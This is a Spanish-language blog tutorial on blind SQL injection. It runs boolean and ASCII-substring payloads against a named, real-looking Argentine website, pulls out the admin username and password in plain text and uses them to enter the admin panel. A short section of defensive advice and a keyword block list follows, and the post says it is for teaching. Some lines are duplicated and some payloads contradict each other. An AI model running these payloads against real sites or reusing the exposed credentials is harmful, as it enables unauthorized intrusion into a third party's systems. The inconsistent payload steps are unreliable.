Hola amig@s, en esta oportunidad veremos la vulnerabilidad llamada Blind Sql injection[inyección sql a ciegas], continuando con las vulnerabilidades de inyección Sql como en el anterior post de Sqli fue explicada dicha vulnerabilidad, en este trataré de explicar lo mejor posible la inyección a ciegas, pero si no has visto el anterior post de slqi lo puedes ver desde Aquí. Cabe resaltar que para comprender al 100%estos tutoriales es mejor(diría indispensable) saber programación en los lenguajes que son mas habituales, php, mysql,sqlserver, etc. Pero si no lo saben aún, pues deberían aprenderlos ya que si no simplemente caerían en el habitual uso indebido del conocimiento informático y por ende "lamers".-
Importante:Este post es con fines educativos y NO destructivos y enfocado para principiantes, tengan en mente que hacer esto es un delito penado por la ley en muchos países y si tú estas viendo este tutorial con fin destructivo ten muy claro lo que acabo de mencionar... Bueno sin mas pasamos a nuestro tutorial.
Qué es la vulnerabilidad Blind Sql injection?
Blind Sqli es una vulnerabilidad muy similar a la tradicional sqli , con la salvedad que dicha vulnerabilidad no muestra mensajes de error a la hora de auditar, ya que fueron desactivadas las funciones de mostrar errores y alertas( show_warnings/show_errors), es decir la página muestra un cambio mas no un mensaje como en lo hace un sitio vulnerable a sqli , a menos que tenga ambas vulnerabilidades, este tipo de vulnerabilidad es un poco mas complicado ya que vamos sacando valores literalmente a ciegas(obvio no? XD), con valores verdaderos y falsos TRUE/FALSE, inyectando variables booleanas para tantear los datos. Para mas referencia sobre esta vulnerabilidad pueden ver los siguientes enlaces Wikipedia y OWASP.
Encontrando la vulnerabilidad en un sitio:
Como mencioné anteriormente trabajar un sitio web con vulnerabilidad Blind se basa en valores true / false esto en práctica se ejecuta con: AND 1=1 (true) o AND= 1=0 (false) aunque el valor falso puede variar AND 1=2 ya es un parámetro falso, existen varios métodos para extraer valores true&false, como having pero yo utilizaré "AND", veamos el siguiente sitio vulnerable, el cual aclaro le informé al webmaster que su sitio era vulnerable, si no puso atención es SU responsabilidad jejejejeje xD! En este caso utilicé el navegador "Mantra" de Owasp para que puedan ver un poco mas claro la inyección, pero pueden usar cualquier navegador y en mozilla pueden agregar el addon "hackbar".
http://www.facara.com.ar/actividades-detalle.php?id=26
Probando valor verdadero AND 1=1:
Como vemos en la imagen, nos devolvió el sitio tal cual estaba no hubo cambio alguno, esto significa que el valor verdadero(true) hizo su función. Ahora veamos si le ponemos el valor falso para ver si hay cambio en el sitio.
Probando valor falso AND 1=2:
Bien, vemos en la imagen anterior que el sitio no tiró error alguno pero cambió en su estructura, desapareció parte del contenido, esto nos indica que SI es vulnerable a Blind Sqli.
Ver la versión de sql que posea el sitio:
Para esto utilizaremos hay algunos tipos de booleanización, veamos:
AND substring(@@version,1,1)=4 o 5
AND substring(version(),1,1)=4 o 5
AND substring(version(@@)1,1)=4 o 5
Esto lo dejamos a gusto de cada quien, donde lo importante es hacer llamado a la subcadena para ver la version si es 4 o 5 de MySql por ejemplo:
/actividades-detalle.php?id=26 and substring(@@version,1,1)=4
Como vemos en la imagen, nos devolvió un valor falso ya que el contenido no está completo, por lo tanto será la versión 5.
/actividades-detalle.php?id=26 and substring(@@version,1,1)=5
En efecto como podemos observar la imagen nos muestra del sitio completo, esto significa que tiene la versión 5.
Buscando Tablas interesantes y extrayendo datos...
Bien ahora que sabemos la versión empecemos a inyectar variables booleanas para encontrar datos de interés, por ejemplo administrador, su ID, password, etc, para esto podemos usar esto:
AND (SELECT(COUNT(*)) FROM NOMBRETABLA)
Como es inyección a ciegas NO piensen que a la primera encontrarán la tabla deseada, hay que ir probando hasta que nos devuelva el valor TRUE el cual como hemos visto nos dice que si cumple. Probando con la primera cosa que piensa uno....
/actividades-detalle.php?id=26 and (select(count(*)) FROM admin)
No! Como podemos ver no devolvió valor verdadero y esto es porque NO existe la tabla "admin", luego de ir probando y probando con tablas que se vienen a la cabeza administrador,usuario,user, etc etc encontré la correcta, login:
/actividades-detalle.php?id=26 and (select(count(*)) FROM login)
Listo! Nos devolvió el valor verdadero con lo cual nos indica que esa tabla SI existe dentro de la base de datos, ahora veamos cuantos registros puede tener la tabla OJO no columnas re-gis-tros jejeje aclaro esto para no crear confusión, esto lo podemos hacer con signos de comparación < > =< => = :
and (select(count(*)) FROM login) > 5 FALSE
and (select(count(*)) FROM login) < 5 TRUE
and (select(count(*)) FROM login) > 3 FALSE
and (select(count(*)) FROM login) < 2 TRUE
Ya con esto obviamente me está indicando que tiene 1 registro y por ende un solo usuario o administrador en nuestro caso:
Ya con esto obviamente me está indicando que tiene 1 registro y por ende un solo usuario o administrador en nuestro caso:
En efecto tiene un registro como vemos en la imagen anterior, ahora si buscamos las columnas dentro de la tabla para ver por ejemplo el ID, usuario, password, email, telefono, si en dado caso lo tienen, para esto veamos lo siguiente:
AND (SELECT(COUNT(COLUMNA)) FROM TABLA)
AND (SELECT(COUNT(COLUMNA)) FROM TABLA)
Lo único que hacemos es sustituir el asterisco (*) dentro de COUNT para ingresar las columnas que nosotros tengamos en mente. Probando que columnas podríamos obtener....
and (select(count(login)) FROM login) FALSE
and (select(count(user)) FROM login) FALSE
and (select(count(ID)) FROM login) FALSE
and (select(count(id)) FROM login) TRUE
and (select(count(usuario)) FROM login) TRUE
and (select(count(password)) FROM login) FALSE
and (select(count(pass)) FROM login) TRUE
/actividades-detalle.php?id=26 and (select(count(user)) FROM admin)
Aquí me comprueba lo que les mencioné sobre la columna que es falsa:
Y como vemos ahora con la columna correcta nos devuelve el valor verdadero:
Bien ahora veamos cuantos caracteres puede tener la columna "usuario" , para ello utilizaremos igualmente operadores de comparación:
/actividades-detalle.php?id=26 and (select(count(usuario)) FROM admin) < 7
Aunque podemos utilizar también:
AND (SELECT length(pass) FROM login where id=1) = 7
Aquí nos muestra que sí tiene menos de 7 caracteres! Nos devolvió valor TRUE!
Donde al final saqué id, usuario y pass sabiendo que para id es 1 caracter, usuario 6 y pass 11
AND (SELECT length(id) FROM login where id=1) = 1
AND (SELECT length(usuario) FROM login where id=1) = 6
AND (SELECT length(pass) FROM login where id=1) = 11
Ahora pasamos a buscar lo mas tedioso literalmente hablando, ya que tenemos que ir buscando caracter por caracter, y esto lo hacemos con material de apoyo utilizando la tabla de caracteres ASCII a menos que se la sepan de memoria jejejeje.
Probando uno a uno con la siguiente booleanización:
AND ascii(substring((SELECT COLUMNA FROM TABLA where ID=NUMERO),Limite,Limite))=NUMEROCARACTERASCII
AND ascii(substring((SELECT usuario FROM login where
cod=1),1,1))=97 Falso no es la letra "a"
AND ascii(substring((SELECT usuario FROM login where
cod=1),1,1))=102 Verdadero empieza con la letra "f"
Luego de ir probando un buen buen bueeen rato uno a uno me quedó de la siguiente manera:
usuario= facara
pass= FaCaRa.2014
Ya con esto encontramos el panel para loguearse de administración ya sea a mano o bien utilizando algún script:
Listo entramos al panel de administración del sitio gracias a la explotación de la vulnerabilidad Blind Sqli, como repito este sitio web se le reportó la vulnerabilidad antes de hacer este tutorial, si aún no lo han parchado es RESPONSABILIDAD del webmaster y de USTEDES si lo utilizan para auditoria práctica.
SOLUCIÓN PARA EVITAR SQLi Y BLIND SQLi:
Bueno como estas vulnerabilidades NO se da en un solo lenguaje de programación, pondré recomendaciones por si a alguien le interesa, así pueden buscar referencia en Faq's del lenguaje que utilizan para desarrollar su sitio web. Estas recomendaciones :
Validaciones de Entrada:
Bueno como estas vulnerabilidades NO se da en un solo lenguaje de programación, pondré recomendaciones por si a alguien le interesa, así pueden buscar referencia en Faq's del lenguaje que utilizan para desarrollar su sitio web. Estas recomendaciones :
Validaciones de Entrada:
- Implementar filtros estrictos para entradas buenas.
- Rechazar entradas incorrectas y no aceptar secuencias de escape para validación.
- Definir los tipos de datos para cada campo.
- Implementar filtros para entradas malas...Por ej: "reject "select", "insert", "update", "shutdown", "delete", "drop", "--", "'"
Hacer un código robusto:
- Utilicemos consultas con parámetros y procedimientos almacenados para interactuar con la base de datos.
- Validación a través de rutinas genéricas en el código.
- Usar varias funciones para cada tipo de consulta.
Protección del Servidor:
- Cambiar permisos preconfigurados por los servidores
- Quitar el permiso "público" para objetos clave del sistema.
- Contraseñas separadas de bases de datos, y robustas.
- Retirar protocolos de red no utilizados por el sistema.
- Hacer bases de datos de bajo privilegio para grupos de administradores
- Firewall.
- Actualizar servidor seguido, y ver vulnerabilidades salientes del gestor de bd que se utilice.
Detección de Intrusos:
- Registro de las actividades de los intentos maliciosos.
- Envío de alertas instantáneas al webmaster sobre dichos intentos.
- Bloquear la IP infractora(No funciona de mucho pero sería bueno)
- Mensaje de alerta al posible intruso.
- Redireccionamiento a paginas no aceptables.
Bueno amig@s con esto concluimos este post, espero sea de ayuda, si tienen dudas estamos a la orden, y repito el mismo fue hecho con fines e-du-ca-ti-vos, cualquier cosa que hagan está bajo SU responsabilidad, me suscribo de ustedes ... by 4uxx
0 comentarios :
Publicar un comentario